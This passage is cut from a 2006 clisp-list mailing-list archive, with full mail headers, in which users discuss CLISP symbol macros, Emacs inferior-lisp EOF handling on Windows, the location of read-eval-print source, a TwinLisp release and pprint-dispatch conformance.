However, I=20 >>investigated some more after that. >> =20 >> >Thanks for taking the time to make a short example so I could look at it. > >The parts relevant to the issue are > =20 > >>(def-c-var sequencetab >> =20 >> >and > =20 > >> (dolist (var '(sequencetab)) >> (set var (read stream))))) >> =20 >> > >IMHO this codes assumes undocumented behaviour of CLISP. > >DEF-C-VAR introduces a global symbol macro. Introducing a symbol macro = changes the interpretation of programs. E.g. the interpreter (and compil= er) will assign a new meaning to an occurrence of the form SEQUENCETAB, a= nd substitute the macro definition. > >However, using SET (aka SETF SYMBOL-VALUE) "bypasses" interpretation of = programs. It accesses the value cell of a symbol. >Your program expects that cell to contain something related to the inter= pretation of programs. But normally, such information is kept in what's = called the environment. > > =20 > >>This 'works' with clisp 2.33. >> =20 >> >Indeed, on 2005-01-01 Bruno Haible introduced a change which made global= symbol macros orthogonal to symbol-value. > >Before that, the symbol macro definition where found in a symbol's value= cell. SET and SYMBOL-VALUE where special-cased so as to perform the sub= stitution. In effect they were doing part of the interpreter's job. >Since the change, the substitution is kept in the interpreter's (or comp= iler's) environment -- where it arguably belongs. >SYMBOL-VALUE is left untouched, and freely available. >I don't know what motivated this change last year. > > >Great (disappointing?) news, now let's return to your problem: > =20 > >>(defun load-seq (filename) >> (with-open-file (stream filename :direction :input=20 >> :if-does-not-exist :error) >> (dolist (var '(sequencetab)) >> (set var (read stream))))) >>(load-seq "Mandseq-file") >> =20 >> > >It looks like your functions "expects" to alter the interpretation of th= e symbol SEQUENCETAB. This is a job of the interpreter (or compiler), an= d SET or SYMBOL-VALUE will not manage to do so (anymore). >So you need to modify the environment. > >Your initial example was: > =20 > >>(defmacro def-i/o (writer-name reader-name (&rest vars)) >>(def-i/o save-seq load-seq (sequencetab)) >> =20 >> > >Since you statically know the names of the variables involved, you can h= ave def-i/o generate the following snippet of code: > ... (setq/setf sequencetab (read stream)) >[As usual, use macroexpand-1 to test macro output.] > >Then the interpreter (and compiler) will do the right thing, since they = know (from their environment) that sequencetab is a foreign variable. >It's purely lexical, there's no need for SPECIAL declarations or SYMBOL-= VALUE. > >Regards, > J=F6rg H=F6hle. > > > > =20 > From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 24 05:09:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FXzt3-0007bT-V7 for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 05:09:53 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FXzt2-0003DJ-Bn for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 05:09:53 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 24 Apr 2006 14:09:43 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 24 Apr 2006 14:09:43 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: njsand@internode.on.net Subject: Re: [clisp-list] Emacs and inferior lisp mode MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 24 05:10:05 2006 X-Original-Date: Mon, 24 Apr 2006 14:09:34 +0200 Nicholas Sandow wrote: >I am using clisp with Emacs and inf-lisp.el (Inferior Lisp=20 >mode) on Windows. >When I hit ctrl-d in the break loop in the inferior lisp=20 >buffer, the entire clisp process exits. Surprise -- I'd have bet this would not happen in my Emacs (20.7) on = MS-Windows, but it also exits -- which shows that I've learned not to = use ^D anymore. I believe the fault lies somewhere within the Emacs-MS-Windows port or = within limitations of the pipe Emacs uses on MS-Windows. For this to = work, one needs something to be recognized as EOF, but not "be" EOF, = since normal input may follow again. This presupposes interactive = streams, among others. And it requires the stream to send a single = "EOF" instead of starting to send nothing but EOF signals from then on, = unlike a NUL: or /dev/null device. >So how do I get the ctrl-d to work in Emacs? Is this simply a=20 >limitation of inf-lisp.el? That's my belief. A Quick Google shows I guessed right: http://www.gnu.org/software/emacs/windows/faq7.html "When an eof is sent to a subprocess running in an interactive shell = via process-send-eof, the shell terminates unexpectedly as if its input = were closed." >Should I give ilisp (http://sf.net/projects/ilisp) a go? No. If my guess is right, it will exhibit the exact same behaviour. SLIME will behave differently, because it talks via another protocol. Regards, J=F6rg H=F6hle. From njsand@internode.on.net Mon Apr 24 08:54:18 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FY3OE-0007m9-LT for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 08:54:18 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FY3OE-0005wT-Qm for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 08:54:18 -0700 Received: from ash25e.internode.on.net ([203.16.214.182]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FY3OD-0002z6-4U for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 08:54:18 -0700 Received: from [192.168.4.100] (ppp157-114.static.internode.on.net [150.101.157.114]) by ash25e.internode.on.net (8.13.6/8.13.5) with ESMTP id k3OFq7HF050236; Tue, 25 Apr 2006 01:22:16 +0930 (CST) (envelope-from njsand@internode.on.net) Message-ID: <444CF556.90904@internode.on.net> From: Nicholas Sandow User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, Pascal Bourguignon Subject: Re: [clisp-list] Emacs and inferior lisp mode References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by ash25e.internode.on.net id k3OFq7HF050236 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 24 08:55:09 2006 X-Original-Date: Tue, 25 Apr 2006 01:57:10 +1000 Hoehle, Joerg-Cyril wrote: > Nicholas Sandow wrote: >=20 >> I am using clisp with Emacs and inf-lisp.el (Inferior Lisp=20 >> mode) on Windows. >> When I hit ctrl-d in the break loop in the inferior lisp=20 >> buffer, the entire clisp process exits. >=20 > Surprise -- I'd have bet this would not happen in my Emacs (20.7) on MS= -Windows, but it also exits -- which shows that I've learned not to use ^= D anymore. >=20 > I believe the fault lies somewhere within the Emacs-MS-Windows port or = within limitations of the pipe Emacs uses on MS-Windows. For this to work= , one needs something to be recognized as EOF, but not "be" EOF, since no= rmal input may follow again. This presupposes interactive streams, among= others. And it requires the stream to send a single "EOF" instead of st= arting to send nothing but EOF signals from then on, unlike a NUL: or /de= v/null device. >=20 >> So how do I get the ctrl-d to work in Emacs? Is this simply a=20 >> limitation of inf-lisp.el? > That's my belief. >=20 > A Quick Google shows I guessed right: > http://www.gnu.org/software/emacs/windows/faq7.html > "When an eof is sent to a subprocess running in an interactive shell vi= a process-send-eof, the shell terminates unexpectedly as if its input wer= e closed." Thankyou for pointing that out. To be honest even if I'd read that I mig= ht not have thought it applied to running clisp with M-x run-lisp - after= all I'm not running clisp "as a subprocess in an interactive shell" am I= ? It's just a simple subprocess, right? - but that's possibly because I h= ave very little idea about pipes and IPC in general. >=20 >> Should I give ilisp (http://sf.net/projects/ilisp) a go? > No. If my guess is right, it will exhibit the exact same behaviour. >=20 > SLIME will behave differently, because it talks via another protocol. I will give slime a shot. Thankyou also to Pascal for the input. Nick. >=20 > Regards, > J=F6rg H=F6hle. >=20 >=20 > ------------------------------------------------------- > Using Tomcat but need to do more? Need to support web services, securit= y? > Get stuff done quickly with pre-integrated technology to make your job = easier > Download IBM WebSphere Application Server v.1.0.1 based on Apache Geron= imo > http://sel.as-us.falkag.net/sel?cmd=3Dk&kid=120709&bid&3057&dat=121642 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list >=20 From lisp-clisp-list@m.gmane.org Mon Apr 24 12:02:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FY6KU-0003iV-Ms for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 12:02:38 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FY6KU-0000A7-7V for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 12:02:38 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FY6KE-0005TD-IN for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 21:02:22 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 24 Apr 2006 21:02:22 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 24 Apr 2006 21:02:22 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 29 Message-ID: References: <17477.32899.875118.883616@thalassa.informatimago.com> <60B1BCBA-1E1C-4774-AD4A-2B08F8A669BE@yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Which file contains source for system::read-eval-print? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 24 12:03:03 2006 X-Original-Date: Mon, 24 Apr 2006 19:02:08 +0000 (UTC) John Wiseman yahoo.com> writes: > > > On Apr 18, 2006, at 5:12 PM, Pascal Bourguignon wrote: > > > Mikalai Birukou writes: > > >> Do you know which file contains source for system::read-eval-print? > >> Thank you in advance. > > > > I don't know, but it might be worthwhile to learn some more about > > basic unix commands, like grep and find. Alternatively, if you're > > rich, you can buy a MacOSX, and use MacOSX and Xcode indexing > > features. > > Xcode won't actually help you with Lisp files. But my Spotlight > plugin for OS X[1] will: > > heavymeta:~ wiseman$ mdfind "org_lisp_defuns == 'gethash'" > /Users/wiseman/bin/ccl-1.0/level-0/l0-hash.lisp --- snip --- > Thank you for the trouble. Pascal's command line (it was at the bottom of his post) worked. But, the read-eval-print is really in debug.d -- it is written (generated?) in C. It was starring at me all the time. It happens. From lisp-clisp-list@m.gmane.org Mon Apr 24 12:20:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FY6bK-0005hR-Ij for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 12:20:02 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FY6bF-00055W-U4 for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 12:19:59 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FY6b0-0000Mf-IV for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 21:19:43 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 24 Apr 2006 21:19:42 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 24 Apr 2006 21:19:42 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 18 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Clisp with two syntaxes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 24 12:21:02 2006 X-Original-Date: Mon, 24 Apr 2006 19:19:18 +0000 (UTC) Hi, Want to announce TwinLisp 0.5 ( http://twinlisp.nongnu.org/ ). After install, you have now two scripts to execute. One of them, tclisp, is a CLisp reshapped a bit to accept two syntaxes: common lisp and twinlisp. The prompt indicates which syntax you are using with "t" standing for twinlisp and "c" standing for common syntax. Twin syntax can be used in the debugger and a stepper. You may insert common code into twin code using #t{ and #t} . The same opening and closing should be used for inserting twin code into common code. Please, enjoy. Special thanks to Pascal Bourguignon and Hoehle Joerg-Cyril, for they gave me hints of what to change in CLisp and how. From pjb@informatimago.com Mon Apr 24 15:43:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FY9mL-0002xX-ET for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 15:43:37 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FY9mK-000552-2h for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 15:43:37 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 7D6B35833D; Tue, 25 Apr 2006 00:43:23 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D37D5582FA; Tue, 25 Apr 2006 00:43:10 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BF5E08789; Tue, 25 Apr 2006 00:43:10 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17485.21630.647948.108472@thalassa.informatimago.com> To: Mikalai Birukou Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Which file contains source for system::read-eval-print? In-Reply-To: References: <17477.32899.875118.883616@thalassa.informatimago.com> <60B1BCBA-1E1C-4774-AD4A-2B08F8A669BE@yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 24 15:44:03 2006 X-Original-Date: Tue, 25 Apr 2006 00:43:10 +0200 Mikalai Birukou writes: > But, the read-eval-print is really in debug.d -- it is written (generated?) in > C. It was starring at me all the time. It happens. .d files are the sources. There's a pre-processor that converts the .d files into .c files for compilation. -- __Pascal Bourguignon__ http://www.informatimago.com/ PLEASE NOTE: Some quantum physics theories suggest that when the consumer is not directly observing this product, it may cease to exist or will exist only in a vague and undetermined state. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 25 01:41:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYJ7A-0007i6-9J for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 01:41:44 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYJ78-00034w-TF for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 01:41:44 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 25 Apr 2006 10:41:33 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Apr 2006 10:41:33 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: tcr@freebits.de Subject: Re: [clisp-list] automatic pretty-printing of symbols in conses MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 25 01:42:10 2006 X-Original-Date: Tue, 25 Apr 2006 10:41:21 +0200 Tobias C. Rittweiler wrote: > (flet ((my-symbol-pprint (stream obj) > (let ((*print-pretty* nil)) > (princ "++" stream) (princ obj stream) (princ "++" stream)))) > (let ((*print-pprint-dispatch* (copy-pprint-dispatch))) > (set-pprint-dispatch 'symbol #'my-symbol-pprint) > (princ-to-string (macroexpand '(loop for i in '(1 2 3) >collect i))))) Looking at the code, it looks like CLISP implements sort of CLtL2 behaviour: "If no type specifiers match the object, a function is returned that prints object with *print-pretty* bound to nil." CLISP will use its builtin printer when no specific dispatcher is found. When that happens, no further dispatch will happen, even for subforms of the original object. E.g. (princ-to-string 'foo) calls your formatter, while (princ-to-string '(foo)) ignores it and yields "(FOO)". I think the following should be portable: if your symbol occurs within a CONS (or list structure), use an additional set-pprint-dispatch 'CONS to print pairs in the way you like. Then the SYMBOL dispatcher will be called recursively via calls to PRINT etc. in your CONS printer. I welcome comments on this. There are pros and cons. E.g. it's easy to get a recursive stack overflow by setting a dispatcher for tree structures, since this will be used everywhere while in dynamic scope, even when trying to print error messages! So far the work-around. I concede that the current behaviour seems somewhat like a bug. CLHS says something opposite to CLtL2: "The value of *print-pretty* is still true when this function is called, and individual methods for print-object might still elect to produce output in a special format conditional on the value of *print-pretty*.". I'm not sure whether CLISP's behaviour falls in the category "by default uses a print method in a special format where *print-pretty* is not true and thus disregards pprint-dispatch" -- and can therefore qualify as conformant. Hope this helps, Jorg Hohle. From lisp-clisp-list@m.gmane.org Tue Apr 25 06:25:22 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYNXX-0003W4-Ec for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 06:25:15 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FYNXX-0007WD-C6 for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 06:25:15 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FYNXV-00058H-Hk for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 06:25:15 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FYNXB-0004qt-U6 for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 15:24:53 +0200 Received: from p54a88b27.dip0.t-ipconnect.de ([84.168.139.39]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 25 Apr 2006 15:24:53 +0200 Received: from tcr by p54a88b27.dip0.t-ipconnect.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 25 Apr 2006 15:24:53 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Tobias C. Rittweiler" Lines: 54 Message-ID: <87wtddhjpo.fsf@GNUlot.localnet> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p54a88b27.dip0.t-ipconnect.de User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.50 (gnu/linux) Cancel-Lock: sha1:gRDRbfF09wHwZ1kP3AnIjl2uBEI= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: automatic pretty-printing of symbols in conses Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 25 06:26:00 2006 X-Original-Date: Tue, 25 Apr 2006 15:24:03 +0200 "Hoehle, Joerg-Cyril" writes: > Tobias C. Rittweiler wrote: > > (flet ((my-symbol-pprint (stream obj) > > (let ((*print-pretty* nil)) > > (princ "++" stream) (princ obj stream) (princ "++" stream)))) > > (let ((*print-pprint-dispatch* (copy-pprint-dispatch))) > > (set-pprint-dispatch 'symbol #'my-symbol-pprint) > > (princ-to-string (macroexpand '(loop for i in '(1 2 3) collect i))))) > > > Looking at the code, it looks like CLISP implements sort of CLtL2 > behaviour: "If no type specifiers match the object, a function is > returned that prints object with *print-pretty* bound to nil." Could you provide a more specific reference into CLtL2 where this sentence stems from, please? > CLISP will use its builtin printer when no specific dispatcher is > found. When that happens, no further dispatch will happen, even for > subforms of the original object. E.g. (princ-to-string 'foo) calls > your formatter, while (princ-to-string '(foo)) ignores it and yields > "(FOO)". Yes, exactly. > [...] I welcome comments on this. There are pros and cons. > E.g. it's easy to get a recursive stack overflow by setting a > dispatcher for tree structures, since this will be used everywhere > while in dynamic scope, even when trying to print error messages! Yup. In fact, I could make clisp segfault when storing (essentially) something like #'(LAMBDA (STREAM OBJ) (FORMAT STREAM "++~A++" OBJ)) as pprint-dispatch table entry for symbols. Unfortunately, I couldn't reproduce the segfault when using a clisp freshly compiled with debugging flags (in which case the overlow gets successfully caught up.) > So far the work-around. I concede that the current behaviour seems > somewhat like a bug. CLHS says something opposite to CLtL2: "The value > of *print-pretty* is still true when this function is called, and > individual methods for print-object might still elect to produce > output in a special format conditional on the value of > *print-pretty*.". I'm not sure whether CLISP's behaviour falls in the > category "by default uses a print method in a special format where > *print-pretty* is not true and thus disregards pprint-dispatch" -- and > can therefore qualify as conformant. What's the exact references? -T. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 25 07:32:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYOak-0002pE-Nl for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 07:32:38 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYOaj-00084m-7u for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 07:32:38 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 25 Apr 2006 16:32:17 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Apr 2006 16:32:17 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: tcr@freebits.de Subject: Re: [clisp-list] Re: automatic pretty-printing of symbols in cons es MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 25 07:33:03 2006 X-Original-Date: Tue, 25 Apr 2006 16:32:09 +0200 Tobias C. Rittweiler wrote: >> Looking at the code, it looks like CLISP implements sort of CLtL2 >> behaviour: "If no type specifiers match the object, a function is >> returned that prints object with *print-pretty* bound to nil." >Could you provide a more specific reference into CLtL2 where this >sentence stems from, please? CLtL2 on pprint-dispatch: http://www.supelec.fr/docs/cltl/clm/node259.html -- Thanks to SUPELEC for still hosting CLtL2 online. >> CLHS says something opposite to CLtL2: >"The value >> of *print-pretty* is still true when this function is called, and >> individual methods for print-object might still elect to produce >> output in a special format conditional on the value of >> *print-pretty*.". >What's the exact references? http://www.lisp.org/HyperSpec/Body/sec_22-2-1-4.html See also the UNIFY writeup issue which mentions the move from NIL to T. http://www.lisp.org/HyperSpec/Issues/iss180-writeup.html >Yup. In fact, I could make clisp segfault [...] >I couldn't reproduce the segfault when using a clisp freshly compiled The difference should be libsigsegv. Is it missing from your original build? Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Tue Apr 25 08:31:34 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYPVh-0001vf-CU for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 08:31:29 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FYPVh-0000nr-Dq for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 08:31:29 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FYPVb-0003Hh-6o for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 08:31:26 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 